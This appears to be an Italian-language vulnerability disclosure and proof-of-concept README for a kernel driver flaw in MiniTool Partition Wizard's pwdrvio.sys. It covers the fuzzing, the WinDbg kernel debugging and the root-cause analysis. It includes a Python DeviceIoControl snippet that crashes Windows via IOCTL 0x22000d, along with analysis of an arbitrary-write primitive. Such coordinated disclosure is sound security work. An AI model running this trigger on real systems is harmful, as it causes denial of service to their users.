CVE-2026-36980-Kernel-BSOD-DoS-PoC

Data del progetto: febbraio 2026 / Scoperta una vulnerabilità di buffer overflow nell'handler IOCTL del driver kernel pwdrvio.sys. La vulnerabilità consente a un attaccante locale senza privilegi di corrompere la memoria del pool del kernel, provocando un crash immediato del sistema (BSOD) e un Denial of Service.

• 2026-02-09 Fornitore notificato
• 2026-03-05 Fornitore ha confermato
• 2026-03-05 Richiesta CVE inviata a MITRE
• 2026-05-10 Divulgazione pubblica dopo il periodo di divulgazione coordinata di 90 giorni

https://github.com/user-attachments/assets/b53fb5d1-b4d0-4bc6-ad6e-2a321a1d2101

Denial of Service (DoS) Severità: MEDIA Punteggio CVSS 3.1: 5.5 (DoS)
Stringa del vettore CVSS:

• DoS: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Buffer Overflow — Denial of Service (CVSS 5.5 - MEDIA)

• Provoca la schermata blu della morte (BSOD)
• Sfruttamento autonomo (nessun debugger richiesto)
• Causato da un buffer overflow tramite IOCTL 0x22000d
• Crash costante in tutte le configurazioni testate

Prerequisiti dell'attacco:

• Accesso locale al sistema target
• Account utente standard (non amministratore)
• MiniTool Partition Wizard installato o disinstallato (driver pwdrvio.sys caricato)

Risultati dello sfruttamento: DoS - Crash immediato del sistema, indisponibilità del servizio

Cronologia della scoperta della vulnerabilità

Fase 1: Fuzzing iniziale e scoperta del BSOD

Data: 5 febbraio 2026
Attività: Fuzzing sistematico del driver kernel tramite un fuzzer Python personalizzato

Processo di scoperta:

1. Selezione del target:

   • Enumerati i driver kernel installati sulla VM Windows 10
   • Identificato pwdrvio.sys come driver più vecchio (timestamp: 16 giugno 2009)
   • File del driver: C:\Windows\System32\drivers\pwdrvio.sys
   • Oggetto device: \\.\PartitionWizardDiskAccesser\0

2. Fuzzing iniziale:

   • Sviluppato un fuzzer Python usando ctypes per interfacciarsi con il driver
   • Inviati dati casuali tramite WriteFile/DeviceIoControl al device del driver
   • Risultato: Multiple schermate blu della morte (BSOD)

3. Attivazione del Verifier:

   • Abilitato Driver Verifier per un rilevamento avanzato dei crash

   verifier /standard /driver pwdrvio.sys
   

   Configurazione del Verifier:

   Verifier Flags: 0x001209bb
   Standard Flags Enabled:
     [X] Special pool
     [X] Force IRQL checking  
     [X] Pool tracking
     [X] I/O verification
     [X] Deadlock detection
     [X] DMA checking
     [X] Security checks
     [X] Miscellaneous checks
     [X] DDI compliance checking
   

Fase 2: Configurazione del kernel debugging con WinDbg

Data: 5-6 febbraio 2026
Attività: Allestito un ambiente di kernel debugging per l'analisi delle cause radicali

Procedura di configurazione:

1. Configurazione della porta seriale VMware:

   VMware Workstation Pro → VM Settings
   ├─ Add Hardware → Serial Port
   ├─ Connection: "Use named pipe"
   ├─ Path: \\.\pipe\com_1
   ├─ End: "This is the server"
   └─ I/O Mode: "Yield CPU on poll" ✓
   

2. Configurazione del sistema operativo guest:

   REM Administrator Command Prompt
   bcdedit /debug on
   bcdedit /dbgsettings serial debugport:1 baudrate:115200
   shutdown /r /t 0
   

3. Connessione WinDbg dall'host:

   WinDbg → File → Attach to Kernel
   ├─ Port: \\.\pipe\com_1
   ├─ Baud Rate: 115200
   ├─ Pipe: ✓
   └─ Reconnect: ✓
   
   Result: "Kernel Debugger connection established."
   

Fase 3: Analisi delle cause radicali - Scoperta della scrittura arbitraria

Data: 6 febbraio 2026
Attività: Identificata una primitiva di scrittura arbitraria nel kernel

Fasi dell'analisi:

1. Analisi del modulo:

   1: kd> lm m pwdrvio
   start             end                 module name
   fffff805`315f0000 fffff805`315f8000   pwdrvio  (Jun 16 2009)
   
   1: kd> !drvobj pwdrvio 2
   Driver object (fffff805`XXXXXXXX) is for:
    \Driver\pwdrvio
   
   DriverEntry:   fffff805`315f6008
   DriverUnload:  fffff805`315f1060
   
   Dispatch Routines:
   [00] IRP_MJ_CREATE                      fffff805`315f108c
   [02] IRP_MJ_CLOSE                       fffff805`315f12f8
   [03] IRP_MJ_READ                        fffff805`315f16c4
   [04] IRP_MJ_WRITE                       fffff805`315f1564  ← Target
   [0e] IRP_MJ_DEVICE_CONTROL              fffff805`315f1404
   

2. Scoperta dell'istruzione vulnerabile:

   Impostato un breakpoint sull'handler di scrittura:

   1: kd> bp pwdrvio+0x1641
   1: kd> g
   
   Breakpoint 0 hit
   pwdrvio+0x1641:
   fffff805`315f1641 498943f0        mov qword ptr [r11-10h],rax
   

   Risultato critico: identificata una primitiva di scrittura arbitraria!

   • L'istruzione scrive un puntatore del kernel (RAX) all'indirizzo [R11-0x10]
   • R11 viene caricato dallo stack frame: mov r11, qword ptr [rbp+0xB8h]
   • Nessuna validazione eseguita sull'indirizzo di destinazione

3. Analisi dello stato dei registri:

   0: kd> r
   rax=fffff805315f1364  ← Kernel code pointer
   r11=ffffe60f84c38750  ← Destination address (controlled via stack)
   rbp=ffffe60f84c38610  ← IRP stack frame
   
   0: kd> dq @rbp+0xB8 L1
   ffffe60f`84c386c8  ffffe60f`84c38750  ← R11 loaded from here
   

Fase 4: Analisi da UAF a scrittura arbitraria

Data: 6-7 febbraio 2026
Attività: Tracciata la vulnerabilità da Use-After-Free alla condizione write-what-where

Catena di corruzione della memoria:

1. Allocazione dell'IRP:

   0: kd> !pool @rbp
   Pool page ffffe60f84c38610 region is Special pool
   *ffffe60f84c38000 size: 1f0 data: ffffe60f84c38e10 (NonPaged) *Irp+
   Pooltag Irp+ : I/O verifier allocated IRP packets
   

2. Relazione dei buffer:

   0: kd> r rsi
   rsi=ffffe60f828df900  ← User buffer location
   
   0: kd> ? @rbp - @rsi
   Evaluate expression: 35823344 = 00000000`02229ef0  ← 35MB difference!
   

   Analisi: il buffer utente NON è direttamente accessibile dal frame RBP

   • RBP punta alla struttura IRP nel pool del kernel
   • Il buffer utente si trova in una regione di memoria diversa
   • L'offset RBP+0xB8 non punta al buffer controllato dall'utente

3. Condizione Use-After-Free:

   Il driver mantiene puntatori dangling nella struttura IRP:

   // Ghidra decompilation (pwdrvio+0x1564)
   longlong lVar1 = *(longlong *)(param_2 + 0xb8);  // Load from IRP
   
   // No validation!
   lVar5 = IoBuildAsynchronousFsdRequest(...);
   
   // Write to [lVar1 - 0x10]
   *(code **)(lVar3 + -0x10) = FUN_00011364;  // Arbitrary write!
   

Fase 6: Identificazione del Denial of Service

Data: 8 febbraio 2026
Attività: Scoperta una vulnerabilità DoS autonoma

Scoperta:

1. Fuzzing degli IOCTL:

   • Testati vari codici IOCTL con buffer malformati
   • Identificato l'IOCTL 0x22000d come vulnerabile

2. Meccanismo del crash:

   # Vulnerable parameters
   TARGET_IOCTL = 0x22000d
   
   input_buf = (ctypes.c_char * 1024)(*([0xFF] * 1024))
   real_output_buffer = ctypes.create_string_buffer(4)
   fake_output_length = 8192  # Driver trusts this value!
   
   DeviceIoControl(handle, TARGET_IOCTL, input_buf, 1024,
                   real_output_buffer, fake_output_length, ...)
   

3. Comportamento del driver:

   • Il driver si fida della lunghezza del buffer di output fornita dall'utente
   • Tenta di scrivere 8192 byte in un buffer da 4 byte
   • Buffer overflow → Corruzione del pool → BSOD

Output del Verifier:

DRIVER_VERIFIER_DETECTED_VIOLATION (c4)
Arg1: 0000000000000091, Corrupted pool allocation
Arg2: fffff805315f1404, Driver code address
Arg3: ffffe60f84c38000, Pool allocation address
Arg4: 0000000000000091, Corruption type

PROCESS_NAME: python.exe

Vulnerabilità #2: Denial of Service (DoS)